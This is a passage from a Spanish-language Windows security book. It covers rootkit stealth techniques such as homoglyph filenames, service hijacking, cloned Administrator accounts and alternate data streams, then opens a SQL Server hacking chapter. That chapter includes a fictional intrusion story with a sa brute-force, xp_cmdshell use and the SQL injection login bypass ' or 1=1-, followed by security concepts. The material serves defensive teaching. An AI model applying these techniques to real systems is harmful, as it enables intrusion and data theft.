23/08/2001 08:00 AM 707 _default.pif
04/08/2004 01:56 AM 1,032,192 ?xplorer.exe
168 archivos 13,642,710 bytes
36 dirs 12,241,850,368 bytes libres
C:\WINDOWS>
Tome nota de que la e cirílica está desplegada con un signo de interrogación (?) en la salida del
listado de DIR en la shell de comandos de la versión en español de Windows.
Puede imaginar otras variaciones interesantes de esta técnica (tal vez utilizando caracteres
no imprimibles (CR, LF, etc.) o incluso imprimibles pero invisibles como un espacio.
Secuestro de servicios legítimos

Si ha usado Windows por algún tiempo, probablemente ha visto o escuchado del servicio Aler-
ter. Se instala como opción predeterminada y, hasta hace poco (XP SP2), estaba habilitado como
opción predeterminada en Windows. Por lo general, el servicio Alerter señala a la línea de co-
mandos C:\WINDOWS\System32\svchost.exe –k LocalService.
08_SCAMBRAY_08.indd 265 7/28/08 9:09:19 PM

Figura 8-16 Explorer.exe empleando un homoglifo
¿Qué pasa si un hacker malicioso cambió esa línea de comandos para señalar a una puerta
trasera y configuró el servicio para ejecutarse como la cuenta SYSTEM mientras deja el mismo
nombre y la misma descripción? ¿Y qué pasa si el hacker malicioso apunta el servicio a un archi-
vo llamado Explorer.exe que se ejecuta en la carpeta Windows, pero con una e cirílica? Una vez
más, no se necesita aquí un sigilo activo; el hacker simplemente ha cambiado el propósito de un
servicio existente para que ejecute la puerta trasera maliciosa. Muchos administradores saben
buscar manualmente servicios sospechosos, pero el servicio Alerter es muy sospechoso.
Cuentas Administrador clonadas

¿Qué hace que el Administrador local sea el verdadero Administrador? Resulta que sólo un par
de valores en el Registro (F para fijo y V para variable) en una parte del SAM que normalmente
es accesible aun para el administrador local. Pero esta parte del SAM es accesible al software que
se ejecuta como la cuenta SYSTEM. El concepto empleado aquí es tomar una cuenta de usuario
de bajos privilegios en el SAM y llenar su valor F con los datos del valor F de la cuenta del Ad-
ministrador.
08_SCAMBRAY_08.indd 266 7/28/08 9:09:20 PM

Figura 8-17 Regedit.exe ejecutándose como SYSTEM y desplegando los valores F y V de la cuenta
Administrador
Lo interesante acerca de este método es que la cuenta de usuario que se manipula de esta
manera no se muestra como miembro del grupo Administradores locales, pero cuando se usa
para inicio de sesión, tiene los mismos privilegios que la cuenta Administradores integrada, ha-
ciendo que sea una puerta trasera muy sigilosa que los atacantes pueden usar para comprometer
los sistemas.
No conocemos ninguna herramienta automatizada para identificar cuentas de Adminis-
tradores clonadas en este momento, pero la inspección manual puede realizarse al ejecutar el
Editor del Registro como SYSTEM (utilizando el programador AT con el interruptor/INTERAC-
TIVE para abrir la copia de CMD.EXE como SYSTEM y luego ejecutar REGEDIT.EXE desde la
shell CMD), exportar las claves del Registro para cada usuario y comparar manualmente los va-
lores de F y V para cada usuario con los de la cuenta integrada Administrador (figura 8-17).
Ocultamiento en carpetas ocultas con permisos restrictivos

Otra técnica de uso común consiste en colocar malware en la carpeta ‘<letra de la unidad>:\Sys-
tem Volume Information. Windows usa esta carpeta oculta para cosas como proporcionar la
función de Restauración del sistema, y los permisos en la carpeta, como opción predeterminada,
sólo otorgan acceso a la carpeta a la cuenta SYSTEM. Un hacker malicioso puede colocar su
caballo de Troya de puerta trasera en esta carpeta mediante una explotación de shell remota
orientada contra un servicio que esté ejecutándose como SYSTEM.
08_SCAMBRAY_08.indd 267 7/28/08 9:09:21 PM

Luego al secuestrar un servicio existente que se ejecute como la cuenta SYSTEM (tal vez uno
que no causaría extrañeza que se inicie de manera predeterminada, como el servicio Cliente de
seguimiento de vínculos distribuidos) y cambiarlo para que señale a la puerta trasera que colocó
en esta carpeta; puede ocultar de manera efectiva los archivos en el sistema de archivos de un
Administrador que trate de enumerar todos los archivos y las carpetas utilizando DIR /S. los
archivos se encuentran en una carpeta oculta y el servicio que ejecuta la puerta trasera es el que
se está esperando que se ejecute.
Flujos de datos alternos

Nunca deja de sorprendernos que los hackers más maliciosos y el malware no hagan uso de la
característica flujos de datos alternos (ADS, Alternate Data Stream) de Windows. Un ADS es un
flujo de datos asociado con un archivo. Los ADS tienen tanto tiempo de existencia como NTFS,
pero no se han usado mucho para buenos ni para malos propósitos. Algún software antivirus y
de copia de seguridad puede usar ADS para marcar o etiquetar archivos con metadatos apropia-
dos para la aplicación. Más recientemente, la API Administrador de datos adjuntos usa ADS
para marcar la zona de Internet Explorer de que se descargó un archivo para que la shell pueda
desplegar un aviso apropiado a un usuario cuando trata de ejecutar un binario no firmado que
se descargó de la zona de Internet. También hemos visto el rootkit Rustock aprovechando el si-
gilo inherente proporcionado por un ADS en Windows.
¿Por qué los ADS son una manera tan poderosa de ocultarse en Windows? Porque antes de
Windows Vista, no había una manera integrada de enumerar los ADS asociados con un archivo.
En Windows 2000 y Windows XP, si quería desplegar una lista de todos los ADS asociados con
un archivo, tenía que usar una utilería como Streams 1.55 para realizar esta tarea. En Vista, el
interruptor /R se ha agregado al comando DIR para enumerar flujos asociados con un archivo o
una carpeta.
RESUMEN
El software para pasar inadvertido ha existido desde hace mucho tiempo y seguirá existiendo en
el futuro previsible. El moderno software para pasar inadvertido toma muchas formas, que van
desde los simple rootkits en modo de usuario, hasta los avanzados en modo de kernel, los que
se cargan desde registros de arranque de CD o los que están basados en hipervisores que llevan
el sistema operativo a una máquina virtual para pasar inadvertidos. Por lo general, cuanto antes
pueda cargarse un rootkit en el proceso de arranque y cuanto más profundo pueda engancharse
en el sistema operativo, más difícil será detectarlos o eliminarlo. Por esto, necesitamos mantener
el código malicioso que no es confiable fuera del kernel del sistema operativo. Algunos sistemas
operativos, como la versión de 64 bits de Windows Vista tratan de mantener fuera del kernel
todo el código, excepto los controladores firmados, empleando certificados emitidos por autori-
dades de certificación confiables, además de evitar que código firmado trate de parchar o modi-
ficar funciones y estructuras de datos en el espacio de memoria del kernel. Además, casi todos
los rootkits necesitan privilegios de Administrador para lograr sigilo y persistencia, de modo
que es más importante que nunca iniciar sesión con cuentas estándar de usuario, una tarea faci-
litada por el Control de cuentas de usuario de Vista.
08_SCAMBRAY_08.indd 268 7/28/08 9:09:22 PM

En años recientes, muchas herramientas de detección de rootkits muy efectivas se han crea-
do en gran medida como respuesta al desafío planteado por el software bien escrito para pasar
inadvertido. Aún hay una considerable cantidad de maneras de detectar muchos rootkits comu-
nes sin tener que depender de software especializado, y suelen incluir el descubrimiento o la
detección de algo que el autor del rootkit olvidó o no es capaz de ocultar. Algunas formas de si-
gilo, debido a la técnica usada, son inherentemente difíciles de implementar de manera apropia-
da y pueden causar inestabilidad que lleva a fallas en el sistema operativo o la aplicación en
máquina de uso pesado o con varios procesadores. La inestabilidad del sistema operativo y la
aplicación combinada con herramientas poderosas de detección de rootkits pueden llevar a una
éstas y otras razones, algunos hackers malicioso deciden no usar tecnología para pasar inadver-
tidos y, en cambio, tratan de camuflar su malware o combinarlo con el entorno en un intento de
pasar inadvertido.
“Un juego extraño. La única jugada ganadora es no jugar”.
—W.O.P.R, War Games

The Cuckoo’s Egg http://en.wikipedia.org/wiki/The_Cuckoo’s_Egg
Advertencia de CERT del www.cert.org/advisories/CA-1994-01.html
rootkit de UNIX
Abuse of the Linux Kernel www.phrack.org/archives/50/P50-05
for Fun and Profit
Weakening the Linux Kernel www.phrack.org/archives/52/P52-18
Rootkit YYT_HAC www.yythac.com/ar(en_readme.txt
A *REAL* NT Rootkit, www.phrack.org/archives/55/P55-05
patching the NT kernel
Curso Aspects of Offensive www.blackhat.com/html/win-usa-03/
Rootkit Technology train-bh-win-03-gh.html
“Windows Rootkits a www.theregister.co.uk/2003/03/07/
stealthy threat”, por Kevin windows_root_kits_a_stealthy
Poulsen
Boletín de seguridad www.microsoft.com/technet/security/bulletin/
de Microsoft MS03-026; MS03-026.mspx
Buffer Overrun in RPC
Interface Could Allow Code
Execution
No puede quitar carpetas http://support.microsoft.com/kb/811176
sospechosas en la estructura
de archivos FTP
08_SCAMBRAY_08.indd 269 7/28/08 9:09:22 PM

No puede eliminar un http://support.microsoft.com/?kbid=320081

archivo o una carpeta en
un volumen del sistema de
archivos NTFS
Encuesta de uso de IE http://arstechnica.com/news.ars/post/20070221-8908.
html
F-Secure Blacklight www.eweek.com/article2/0,1759,1829744,00.asp?kc=
EWRSS03129TX1K0000614
Malicious Software www.microsoft.com/security/encyclopedia/details.
Encyclopedia: WinNT/Ispro aspex?name=WinNT%2fIspro
David Aucsmith: WinHEC http://download.microsoft.com/download/9/8/
f/98f3fe47-dfc3-4e74-92a3-088782200fe7/
TWWI05021_WinHEC05.ppt
Blog de MSRC acerca del http://blogs.technet.com/msrc/
rootkit Delprot y MSRT archive/2005/05/10/404747.aspx
Anuncio de Shadow Walker www.eweek.com/article2/0,1895,1841266,00.asp
en Blackhat
Presentación de Shadow www.blackhat.com/presentations/bh-jp-05/bh-jp-05-
Walter sparks-butler.pdf
Rootkit Blue Pill http://theinvisiblethings.blogspot.com/2006/06/
introducing-blue-pill.html
Rustock y avances en www.symantec.com/enterprise/security_response/
rootkits weblog/2006/06/raising_the_bar_rustocka_advan.html
Herramienta de detección www.gmer.net/faq.php
de rootkits GMER
“Rustock DDoS Attack”, por www.joestewart.org/rustock-ddos.html
Joe Stewart
Herramienta de detección www.rootkit.com/newsread.php?newsid=647
de rootkits RKUnhooker,
creada por los autores del
rootkit Unreal.A
Documentos de Office que www.symantec.com/enterprise/security_response/
contienen un rootkit writeup.jsp?docid=2006-092715-1534-99&tabid=2
Documentos de Office que www.symantec.com/security_response/writeup.
contienen un rootkit jsp?docid=2006-092716-2948-99&tabid=2
Authentium derrota a http://blogs.authentium.com/virusblog/?p=100
Patchguard
08_SCAMBRAY_08.indd 270 7/28/08 9:09:23 PM

Análisis de Patchguard por www.uninformed.org/?v=3&a=3&t=sumry

Uninformed
Análisis de Patchguard por www.uninformed.org/?v=6&a=1&t=sumry
Uninformed
Revisión general de la http://msdn2.microsoft.com/en-us/library/aa906239.aspx
directiva de firma de código
en modo de kernel
Acceso restringido a \ http://technet2.microsoft.com/WindowsServer/en/
Dispositivo\MemoriaFísica library/e0f862a3-cf16-4a48-bea5-f2004d12ce351033.
mspx?mfr=true
AskStrider http://research.microsoft.com/research/pubs/view.
aspx?tr_id=704
System Virginity Verifier www.invisiblethings.org/papers/
(SVV) hitb05_virginity_verifier.ppt
AutoRuns para Windows www.microsoft.com/technet/sysinternals/
ProcessesAndThreads/Autoruns.mspx
BootExecute www.microsoft.com/technet/prodtechnol/
windows2000serv/reskit/regentry/46697.mspx?mfr=true
Hacker Defender: rastreador http://seclists.org/fulldisclosure/2004/Oct/0697.html
remoto de rootkits para
Windows
WinObj v2.15 www.microsoft.com/technet/sysinternals/
SystemInformation/WinObj.mspx
Rootkit Vitriol en BlueHat www.eweek.com/article2/0,1895,2032661,00.asp
API del Administrador de http://support.microsoft.com/kb/883260
datos adjuntos
Streams v1.56 www.microsoft.com/technet/sysinternals/utilities/
Streams.mspx
08_SCAMBRAY_08.indd 271 7/28/08 9:09:24 PM

capítulo 9
D E S Q L
E O
HACK VER
SER
273
09_SCAMBRAY_09.indd 273 7/28/08 9:14:19 PM

L
os desfiguramientos de sitios Web son noticias viejas. Todos hemos visto los titulares en los
últimos años: hackers han irrumpido en sitios universitarios, sitios comerciales en línea y
sitios de aplicaciones gubernamentales y han utilizado los datos para fines nefastos. Por su-
puesto, esto era inevitable. Los desfiguramientos son una manera detestable de ganar dinero (y el
robo de información es muy lucrativo). Con enormes penas para la develación de la información
y recompensas sustanciales para los atacantes, las bases de datos están más en riesgo que nunca.
En el caso de las compañías que utilizan tecnologías de Microsoft, un almacén de datos po-
pular es la base de datos relacional SQL Server de Microsoft, además de las diversas edicio-
nes gratuitas de SQL Server (Microsoft Data Engine, que ahora se denomina SQL Server Express
Edition en SQL 2005) que se incluyen en más de 240 paquetes de software conocidos. SQL Server
ha sido muy prolífico y ahora, al parecer, tiene casi 23% de participación en el mercado, de
acuerdo con los estimados de Gartner (www.gartner.com). Por desgracia, a pesar de todas las
preocupaciones acerca de la escalabilidad y la confiabilidad que casi todas las empresas tienen
cuando planean e implementan SQL Server, a menudo pasan por alto un ingrediente en cual-
quier despliegue estable de SQL Server: la seguridad. Es una tragedia común que muchas em-
presas dedican una gran cantidad de tiempo y esfuerzo a proteger las puertas del castillo
mientras dejan la bóveda real completamente abierta.
Como nos lo enseñó el gusano Slammer de SQL (www.cert.org/advisories/CA-2003-04.
html), otras repercusiones potenciales son posibles cuando se deja de lado la seguridad en SQL
Server. Cuando una vulnerabilidad en SQL Server con seis meses de antigüedad puede poner
casi de rodillas a Internet, dos cosas se vuelven obvias: hay una gran cantidad de instalaciones
de SQL Server y, al parecer, nadie ha logrado mantenerlas adecuadamente seguras.
En este capítulo, delineamos la manera en que los atacantes recopilan información, atacan y
comprometen SQL Server, seguido por soluciones para mitigar estas amenazas. Empezamos con
un estudio de caso que delinea las metodologías comunes de ataque, seguido por un análisis
más a profundidad de los conceptos de seguridad en SQL, las herramientas y técnicas de hackeo
de SQL y las contramedidas. Seguimos detallando las tecnologías, herramientas y conceptos
para que SQL Server sea seguro.
Se ha demostrado que las aplicaciones inseguras han expuesto a instalaciones de SQL Server
que de otra manera serían seguras. Las aplicaciones que usan SQL Server como fachada pueden
ser atacadas mediante inyección de SQL, en que los atacantes van directamente a sus datos casi
sin ser detectados en muchos casos. Prestamos especial atención a la manera en que se hace esto
y lo que puede hacer para proteger sus activos.
ESTUDIO DE CASO: PENETRACIÓN DE UN SQL SERVER

Jade ya ha gastado la mitad del dinero que le dieron por anticipado y ni siquiera ha encendido
su computadora. Como mercenario bajo contrato, sólo se le dio la cantidad mínima de informa-
ción que necesitaba para completar el trabajo contratado: entrar en un sitio Web de un corredor
de hipotecas y obtener cualquier pista generada en los últimos seis meses. Ella no está segura de
quién contrató el trabajo pero considera que tal vez se trate de un mal competidor.
Jade por lo menos investigó un poco antes de aceptar el trabajo. Revisó el sitio Web de la
compañía y encontró un portal público concentrado principalmente en nuevas ventas. Este por-
tal proporciona a los clientes información acerca de sus productos y permite a individuos entrar
en su información privada, después de lo cual el software les presenta varios paquetes de
09_SCAMBRAY_09.indd 274 7/28/08 9:14:21 PM

Capítulo 9: Hackeo de SQL Server 275
préstamos y los dirige con un corredor local. Ella no encontró nada explotable en el sitio público
y supuso que había recibido una gran cantidad de escrutinio.
Jade también aprendió que había un portal de ventas que era usado por empleados internos.
Con base en lo que sabía, el portal de ventas parecía un mejor objetivo. Los sistemas internos
nunca parecen tener el mismo escrutinio de seguridad que los sistemas que enfrentan al público,
y un portal de ventas era más probable que tuviera los datos históricos que necesitaba. Sin em-
bargo, había un problema: no encontraba una referencia a la ubicación real de este portal.
A sólo unos días de que venciera el contrato, Jade decidió que era tiempo de ser creativa. Una
de las sucursales regionales importantes de esta compañía estaba en la misma ciudad que ella, de
modo que llevó su laptop inalámbrica y se encaminó a la cafetería más cercana a su destino. Con
toda seguridad, encontró un local grande en su edificio que ofrecía acceso inalámbrico a Internet
a cualquier persona que deseara pagar cinco dólares por un mokaccino. Tenía la esperanza de
que un empleado de la compañía con una laptop mal configurada entrara a tomar un refrigerio.
Cargó su olfateador inalámbrico favorito, Aeropeek, y esperó su golpe de suerte. Cada vez
que aparecía un nuevo cliente inalámbrico, rápidamente rastreaba las máquinas en busca de
oportunidades. Desde el lanzamiento de Windows XP SP2, casi todas las máquinas de Win-
dows tienen la firewall habilitada como opción predeterminada, pero las personas tienen el mal
hábito de agregar excepciones cuando las firewalls les parecen inconvenientes de alguna mane-
ra. La fortuna le sonrió.
Con el tiempo encontró una laptop con el puerto TCP 1433 escuchando y comunicándose en
un canal cifrado (tal vez una VPN) para todas las comunicaciones, de modo que no podía ver lo
que estaba explorando. Un SQL Server en escucha en una laptop por lo general significa una de
dos cosas: es un desarrollador o un vendedor con una base de datos de ventas local. De inmedia-
to lanzó sqlcmd (un cliente de SQL Server de línea de comandos) y trató de conectarse usando
autentificación de SQL como el usuario sa sin contraseña.
Login failed for user 'sa'
No había mención de que este usuario no estuviera asociado con una conexión SQL Server
de confianza. ¡Excelente! Estaba tratando con un SQL Server en el modo de autentificación de
SQL, lo que significa que podía hacer un ataque de fuerza bruta para tratar de ganar acceso. Rá-
pidamente cargó SQLPing3, señaló a la dirección IP de destino y cargó su lista de contraseñas
favorita. Se aseguró de agregar unos cuantos elementos específicos de este destino: nombre de
la compañía, nombre de la oficina regional, terminología de las hipotecas y acrónimos diversos
del sitio Web. En 3 segundos tuvo un acierto: commission era la contraseña. Cada vez estaba más
segura de que éste sería su día de suerte.
Temblando de la emoción, invocó al SQL Server Management Studio (la instancia era SQL
Server 2005) y se conectó a la víctima. Encontró muchas bases de datos, incluida una que parecía
contener pistas de ventas. Rápidamente usó una serie de instrucciones SELECT para descargar
todos los datos a su máquina local, pero su ánimo victorioso se empantanó cuando vio que los
datos tenían más de un año de antigüedad. Al parecer, se trataba de una vieja aplicación cliente-
servidor que ya no se usaba.
Rápidamente, Jade se recuperó y pensó en otra táctica. Debido a que había iniciado sesión
como la cuenta sa y, por tanto, tenía privilegios de administrador en el sistema de SQL Server,
usó el comando xp_cmdshell (por fortuna, estaba habilitado en el servidor) para revisar los
perfiles de usuario en el historial del explorador y las cookies de la manera siguiente:
xp_cmdshell 'dirección C:\Documents and Settings\user\cookies'
09_SCAMBRAY_09.indd 275 7/28/08 9:14:21 PM

Después de peinar una abrumadora cantidad de sitios Web que eran un desperdicio de tiem-
po, por último observó uno que destacaba. El sitio era visitado a diario ¡y el URL le llevaba a
creer que había encontrado el portal de ventas! Hora de tirar a matar. Por desgracia, todas las
cookies del portal de ventas habían expirado, o simplemente habría bastado con robar la cookie
e iniciar sesión como este usuario. No había problema; de todos modos, ella siempre tenía mejor
suerte con el asalto directo.
Jade disparó su herramienta favorita de rastreo de aplicaciones, Paros Proxy, de modo que
podía ver claramente los datos simples que iban de un lado a otro a solicitud de ella. Luego con-
figuró su explorador para usar el puerto predeterminado 8080 de Paros Proxy. Jade de inmedia-
to obtuvo la página de ventas del portal. Con sólo ver las solicitudes simples en Paros, podía
saber que se trataba de un servidor de Microsoft que ejecutaba Internet Information Server (IIS,
servidor de información de Internet). Además, las páginas tenían las extensiones .aspx, lo que
implicaba que estaban codificadas en ASP.NET. Dio instrucciones a Paros para que rastreara el
sitio, con lo que seguiría todos los vínculos y presentaría una lista de todas las páginas accesi-
bles. Por desgracia, como el sitio requería autentificación, sólo se encontró la página de inicio.
Sin inmutarse, instruyó a Paros para que realizara un rastreo y éste revisó el servidor du-
rante varios minutos, realizando diligentemente el análisis. Regresó una sola anomalía: una vul-
nerabilidad de “rastreo de huellas de inyección de SQL” en el campo de la contraseña en
la página de inicio. Para validar el hallazgo, trató de iniciar sesión en el sitio con una sola co-
milla como contraseña para ver si el código tras SQL se corrompería.
Username: admin.
Password: '
Con seguridad, oprimió el botón de envío y la página regresó esto:
Microsoft OLE DDB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
befote
The character string '''.
/checkLogin.asp, line 10
Estaba en lo correcto, o así parecía. Su primer instinto fue tratar de hacer “cortocircuito” con
la probable consulta detrás de la pantalla de inicio de sesión de modo que pudiera entrar en el
sitio y acceder a la información que necesitaba. Rápidamente, ensambló algún código de explo-
tación e hizo otro intento:
Username: admin
Password: ' or 1=1-
¡Tuvo éxito! Había iniciado sesión directamente en el portal de ventas y rápidamente empezó
a buscar los datos que necesitaba. Sin embargo, después de unos cuantos minutos resultó obvio
que su búsqueda apenas había empezado. El portal de ventas sólo mostraba pistas de los últimos
tres meses. La interfaz no permitía al usuario ver pistas más antiguas, tal vez dejando esto a al-
guna herramienta de archivado o almacén de datos. Sin preocuparse, se dio cuenta de que había
una manera de obtener todos los datos omitiendo por completo la interfaz del portal.
Jade se conectó a un sistema remoto que ella controlaba y que estaba conectado a Internet
(una débil conexión inalámbrica no bastaría). Cargó una herramienta denominada Absinthe,
09_SCAMBRAY_09.indd 276 7/28/08 9:14:22 PM

que le permitiría extraer todos los datos de la base de datos (suponiendo que la cuenta de SQL
tuviera esos derechos) empleando inyección ciega de SQL. Absinthe identificó rápidamente la
versión como SQL Server 2005 y empezó el proceso de descargar toda la base de datos. Jade fue
cuidadosa de descargar los datos sin ser percibida, al coordinar sus explotaciones de Absinthe
con periodos de tráfico pico, como inicios de sesión matutinos y otras actividades cotidianas,
para no llamar la atención de ningún analista de seguridad de red.
La descarga tomaría horas o días en completarse, pero al final tenía confianza de que termi-
naría otro trabajo antes de la fecha límite. Sonrió con gusto mientras cerraba su laptop y salía del
edificio para tomar un taxi.
CONCEPTOS DE SEGURIDAD DE SQL SERVER

Antes de que ahondemos en las entrañas de la seguridad de SQL Server, analicemos algunos de
los conceptos básicos y atendamos algunas de las áreas que han mejorado con los años. SQL Ser-
ver fue desarrollado originalmente con la ayuda de Sybase para el OS/2 de IBM. Cuando Micro-
soft decidió crear su propia versión para NT, nació SQL Server 4.2 (también conocida como Sy-
base SQL Server). Poco después, Microsoft compró el código base y desarrolló SQL Server 6.0 sin
Sybase. Desde entonces, varias revisiones y mejoras han transformado a SQL Server en un pro-
ducto muy diferente del que creó originalmente durante los días con Sybase. Sin embargo, como
verá, Microsoft aún retiene muchas piezas bajo la capucha del modelo de seguridad original, y
muchas de ellas siguen obstaculizando el producto hasta la fecha.
Bibliotecas de red
Las bibliotecas de red (netlibs) son los mecanismos mediante los cuales los clientes y servidores de
SQL intercambian paquetes de datos. Una instancia de SQL Server puede soportar varias netlibs
escuchando al mismo tiempo y desde SQL Server 2000 soporta varias instancias de SQL Server
a la vez (todas escuchando en diferentes netlibs). Como opción predeterminada, TCP/IP está
habilitado y escuchando a todas las instalaciones de SQL Server 2005, excepto la Express Edi-
tion, en que sólo está habilitada la biblioteca de red de memoria compartida. Esto significa que
la instalación típica de SQL Server puede detectarse fácilmente con un rastreo del puerto prede-
terminado TCP 1433.
Entre las netlibs a las que da soporte SQL Server 2005 se incluyen las siguientes:
• TCP/IP
• Canalizaciones con nombre
• Memoria compartida (sólo servidor local)
• Arquitectura de interfaz virtual SAN
SQL Server 2005 ha mejorado la seguridad de la conexión al permitir la capacidad de impo-

ner cifrado en todas las bibliotecas de red. La excepción es la memoria compartida, donde no
tendría sentido porque la conexión es local al servidor.
Aunque Microsoft ha incluido muchos mecanismos de cifrado en la pila de bibliotecas de
red, no deben pasarse por alto los mecanismos de la plataforma de seguridad de transpor-
te como IPSec, filtro de puertos y Firewall de Windows. Por ejemplo, combinar las capacidades
de cifrado de la biblioteca de red TCP/IP con la Firewall de Windows puede proporcionar pri-
vacidad y área de superficie minimizada para su instalación de SQL Server.
09_SCAMBRAY_09.indd 277 7/28/08 9:14:23 PM

Modos de seguridad
SQL Server tiene dos modos de seguridad:
• Modo de autentificación de Windows

• Modo de autentificación de SQL Server y de Windows (modo combinado)
En el modo de autentificación de Windows, los usuarios de Windows tienen acceso directa-

mente a SQL Server (utilizando sus contraseñas de autentificación de Windows) y, por tanto, no
es necesario crear un inicio de sesión separado en SQL Server para ese usuario. Esto puede ayu-
dar mucho a la administración, porque no es necesario que los administradores creen, actualicen
o eliminen constantemente usuarios dentro de SQL Server. Éste es el modo de seguridad reco-
mendado de manera oficial por Microsoft y es ahora el modo predeterminado.
Para conectarse a un servidor de SQL empleando autentificación de Windows, use la si-
guiente cadena de conexión, si está utilizando el proveedor OLE Database (OLE DB, base de da-
tos OLE) para SQL Server.
"Provider=SQLOLEDB;Data Source=mi_servidor;Inicial Catalog=mi_base_de_

datos;Integrated Security=SSPI "
En el modo de autentificación de SQL Server y Windows, los usuarios también pueden au-
tentificarse por el par nombre de usuario/contraseña con las credenciales almacenadas dentro
del propio SQL Server. Aunque éste ya no es el modo de seguridad predeterminado, aún es un
modo común debido a la simplicidad del modelo de seguridad y al hecho de que muchos desa-
rrolladores Web lo encuentran más fácil de codificar que preocuparse por las complejidades de
la autentificación de Windows.
Para conectarse a un servidor SQL empleando inicios de sesión nativos, use la siguiente ca-
dena de conexión de ejemplo si está utilizando el proveedor OLE DB para SQL Server.
"Provider=SQLOLEDB;Data Source=mi_servidor;Inicial Catalog=mi_base_de_

datos;User Id=mi_usuario;Password=mi_contraseña;"
Inicios de sesión
En el mundo de SQL Server, un inicio de sesión es una cuenta que le da acceso al propio servi-
dor. Todos los inicios de sesión de SQL Server se mantienen en la tabla sysxlogins (que sólo
está disponible a través de la vista syslogins de SQL 2005) en la base de datos master. Aunque se
utilice autentificación de Windows, se almacena un identificador de seguridad (SID, Security
ID) para el acceso otorgado al usuario o el grupo. En el caso de inicios de sesión nativos de SQL
Server, se genera un identificador globalmente único (GUID, Globally Unique ID) de 16 bytes y
se coloca en la columna SID. Las contraseñas para las cuentas nativas de SQL Server se almace-
nan en esta tabla en forma cifrada.
Con SQL Server 2005 instalado en Windows Server 2003, Microsoft agregó la capacidad de
cuentas de inicio de sesión de SQL para tener bloqueos, complejidad de contraseñas y venci-
miento de éstas.
Se trata de un gran avance y ayuda a mitigar algunas de las debilidades inherentes en el mo-
delo de seguridad de inicio de sesión de SQL Server.
09_SCAMBRAY_09.indd 278 7/28/08 9:14:23 PM

Usuarios
Un usuario es un tipo separado de cuenta que está vinculada a un inicio de sesión determinado
y que se usa para denotar el acceso a una base de datos determinada. Los usuarios están almace-
nados en bases de datos individuales en la tabla sysusers (implementada como una vista en SQL
Server 2005). Sólo los usuarios tienen acceso asignado a objetos de base de datos. No hay contra-
señas almacenadas en la tabla sysusers, porque los usuarios no se autentifican como inicios
de sesión. A los usuarios simplemente se les asigna un inicio de sesión, de modo que ya ha ocu-
rrido la autentificación.
Funciones
Como algo conveniente para los administradores y como una característica de seguridad, pue-
den asignarse usuarios e inicios de sesión a funciones fijas o definidas por el usuario de base de
datos para evitar que tengan que administrar el control de acceso de manera individual y tam-
bién para particionar privilegios especiales. Las funciones se desglosan de la siguiente manera:
• Funciones fijas de servidor (sysadmin, serveradmin, securityadmin, etcétera)

• Funciones fijas de base de datos (db_owner, db_accessadmin, db_securityadmin,
etcétera)
• Funciones de usuario de base de datos
• Funciones de aplicación (sp_setapprole)
Las funciones fijas de servidor proporcionan privilegios espaciales para actividades en

todo el servidor, como copias de seguridad, transferencias masivas de datos y administración
de seguridad. Las funciones fijas de base de datos dejan que los usuarios de confianza reali-
cen actividades poderosas en la base de datos, como crear tablas y usuarios, además de asig-
nar permisos. Las funciones de usuario de base de datos se proporcionan para la fácil
administración, al permitir la agrupación de los usuarios, con permisos asignados a esos gru-
pos. Las funciones de aplicación permiten que el administrador de la base de datos de SQL no
asigne privilegios a usuarios en la base de datos; en cambio, los usuarios deben usar la base
de datos mediante una aplicación que permite a todos los usuarios compartir una cuenta du-
rante el tiempo que se use la aplicación. Esta función se usa principalmente para impedir a los
usuarios el acceso directo al servidor de SQL fuera de una aplicación (vía Excel, Access u otros
medios).
Registro
Por desgracia, de manera tradicional el registro de autentificación en SQL Server ha sido
relativamente débil. Ahora se habilita la auditoría de inicios de sesión como opción predetermi-
nada en SQL Server 2005, pero una vez que se ha habilitado sólo registra el hecho de que ocu-
rrió una falla en el inicio de sesión de una cuenta determinada. No se proporciona información
avanzada acerca de la aplicación de origen, nombre de host o biblioteca de red, ni otra informa-
ción que sería útil para determinar desde dónde se está lanzando un ataque. Sin embargo, a
partir de SQL Server 2005, se ha registrado la dirección IP del host remoto que falló al iniciar
sesión. En la figura 9-1 se presenta un ejemplo de los datos registrados durante un ataque de
fuerza bruta.
09_SCAMBRAY_09.indd 279 7/28/08 9:14:24 PM

Figura 9-1 Registro de errores de SQL Server durante un ataque de fuerza bruta
SQL Server incluye una característica de registro C2. Por desgracia, el registro C2 aún no
proporciona detalles de red de un posible atacante, pero tiene la capacidad de registrar los deta-
lles de los cambios de datos dentro de SQL Server. Si tiene una buena cantidad de espacio en
disco y puede mantener este nivel de información (y es mucha información), la auditoría de C2
puede habilitarse utilizando el siguiente comando en Transact-SQL (T-SQL):
exec sp_configure 'C2 Audit Mode',1

go
reconfigure
go
Cambios en SQL Server 2005

Con el lanzamiento de SQL Server 2005, Microsoft ha atendido muchos de los problemas de se-
guridad que han plagado a los administradores en el pasado. Por otra parte, no todas las nuevas
características son buenas para la seguridad, y cada una de ellas debe revisarse de cerca antes de
la implementación. En la tabla 9-1 se muestran algunos cambios en la versión más reciente que
afectan a la seguridad de manera importante.
09_SCAMBRAY_09.indd 280 7/28/08 9:14:25 PM

Cambios Comentarios
Asignación de Permite a los desarrolladores cambiar de contexto
personalidad en T-SQL conexiones existentes para lograr el menor de los
privilegios utilizando las instrucciones EXECUTE AS y
SETUSER.
Herramienta de Permite a los administradores deshabilitar servicios no
configuración de utilizados, bibliotecas de red y características que podrían
superficie utilizarse, de otra manera, como vectores de ataque.
Desencadenadores de Permite a los administradores colocar desencadenadores
DDL en comandos de lenguaje de definición de datos como
ALTER TABLE que pueden usarse para registro o para
evitar un ataque en objetos de base de datos.
Asignación de Permite adjuntar código de SQL a recursos remotos
credenciales de usuario utilizando credenciales diferentes de las del contexto de
de Windows servicio de SQL Server, lo que ayuda a lograr el objetivo
de asignar la menor cantidad de privilegios.
Infraestructura de Funciones de cifrado integradas y administración de
cifrado nativa claves para ayudar a los desarrolladores a asegurar datos
privados.
Visibilidad limitada de Los usuarios de SQL Server sólo pueden ver metadatos
metadatos para tablas y otros objetos de base de datos a los que se les
ha otorgado acceso.
Tabla 9-1 Cambios relacionados con la seguridad en SQL Server 2005
Con la retroalimentación apropiada, Microsoft puede corregir cualquier problema restante. Siéntase
Nota
libre de escribir a la compañía en relación con cualquier problema extraordinario a sqlwish@
microsoft.com.
HACKEO DE SQL SERVER

Hasta que el gusano Slammer de SQL se lanzó en enero de 2003, Microsoft había recibido los
más duros golpes debido a diversas vulnerabilidades de IIS, y SQL Server había permanecido de
